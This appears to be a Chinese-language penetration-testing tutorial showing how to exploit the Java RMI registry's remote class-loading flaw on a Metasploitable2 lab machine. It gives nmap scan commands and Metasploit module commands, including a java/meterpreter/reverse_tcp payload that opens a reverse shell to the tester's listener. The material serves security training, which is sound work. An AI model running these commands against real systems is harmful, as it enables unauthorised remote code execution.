Java RMI 漏洞利用

Java 远程方法调用,也就是 Java RMI,它是一种机制,允许一个 Java 虚拟机中的对象去访问和调用另一个 Java 虚拟机中包含的方法。这与 RPC 基本相同,但是在面向对象的范例中,而非面向过程,它允许不在同一个地址空间中的 Java 程序互相通信。

漏洞源于 RMI Registry 和 RMI Activation Service ( RMI 激活服务 ) 的默认配置,允许从远程 URL 中加载类。

RMI 协议使用两种其他协议来实现其 on-the-wire 格式,即 Java 对象序列化和 HTTP 协议:

· 对象序列化协议用来编组调用和返回数据。

· HTTP 协议用于 POST 远程方法调用,并在情况允许时获取返回数据。

Step1 —漏洞发现

第一步就是拿 nmap 神器扫描目标地址。

命令:nmap 192.168.73.130

192.168.73.130 是我们的靶机 ( metasploitable2 ) ,靶机上安装了 Java RMI 服务 ( rmiregistry ) ,运行在 1099 端口上,你也可以通过 nmap 扫描结果来看这个端口是开放的。

Metasploitable2 介绍:这是一个集合了各种漏洞的靶机,可以用来进行安全培训,测试安全工具和练习常用的渗透测试技巧。

你也可以使用 nmap 脚本来验证这个漏洞是否存在,命令如下:

nmap – script=rmi-vuln-classloader -p 1099 192.168.73.130

下面的脚本检测 Java rmiregistry 服务是否允许加载类。默认的配置允许 rmiregistry 服务从远程 URLs 加载类,这就导致了远程代码执行。

供应商 ( Oracle/sun 公司 ) 声称这是一项涉及功能。

在我们的攻击机上启动 MSF,然后在控制台搜索 java_rmi,命令如下:

search java_rmi

通过上面的截图可以看到,有很多与 Java RMI 相关的模块,不过对于扫描来说,最佳模块是 auxiliary/scanner/misc/java_rmi_server,对于漏洞利用,最佳模块是 exploit/multi/misc/java_rmi_server

我们先使用扫描模块,输入下列命令,然后 "show options" 一下

use auxiliary/scanner/misc/java_rmi_server

接下来是设置 RHOST 和 RPORT,命令如下:

setRHOSTS 192.168.73.130 setRPORT 1099 run

Step2 —漏洞利用

我们可以看到扫描器检测到了运行在 1099 端口上的 java RMI 服务,这就表明它可能存在这个漏洞。

现在我们就来使用一下漏洞利用的最佳模块,命令如下:

use exploit/multi/misc/java_rmi_server

然后输入 "show options" 查看需要设置的参数,如图:

该模块 ( java_rmi_server ) 利用 RMI registry 和 RMI 激活服务,允许从任何的远程 URLs 加载类。由于它调用了 RMI Distributed Garbage Collector 中的一个方法,该方法在每个 RMI 终端中都是可用的,它既可以用于 rmiregistry 和 rmid,也可以用于大部分其他(自定义的)的 RMI 终端。

注意 : 它不适用于 Java Manager Extension(JMX)端口,因为它们不支持远程加载类,除非有另一个 RMI 终端在相同的 java 进程中处于活跃状态。RMI 方法调用不支持或要求任何的身份验证。

同样,你还是要设置 RHOST 和 RPORT。

setRHOST 192.168.73.130 setRPORT 1099

然后,你还需要设置 payload 来进行反向 TCP shell 连接,命令如下:

Set payload /java/meterpreter/reverse_tcp

你可以输入 show payloads 来查看所有的 payload。

接着我们还是输入 "show options" 来查看刚才设置的 payload 需要设置的参数。如图:

这里你可以看到缺少了 LHOST,因为我们使用的是反向 shell,我们需要设置一个监听地址和监听端口,这里我的 LHOST 地址是 192.168.73.128,监听端口我设置为 4444,如图:

我们可以看到这个 exp 在我们的系统中启动了一个处理器,向靶机发送 RMI 方法调用,然后成功打开了一个 meterpreter 会话。

输入 "session -i" 来查看所有已建立的会话,连接活跃的会话,我们可以使用 "session -i ",如图:

建立会话连接之后,我们就可以使用 sysinfo,shell 和 getuid 等命令了,如图:

发表评论
留言与评论(共有 0 条评论)
   
验证码:

相关文章

推荐文章

'); })();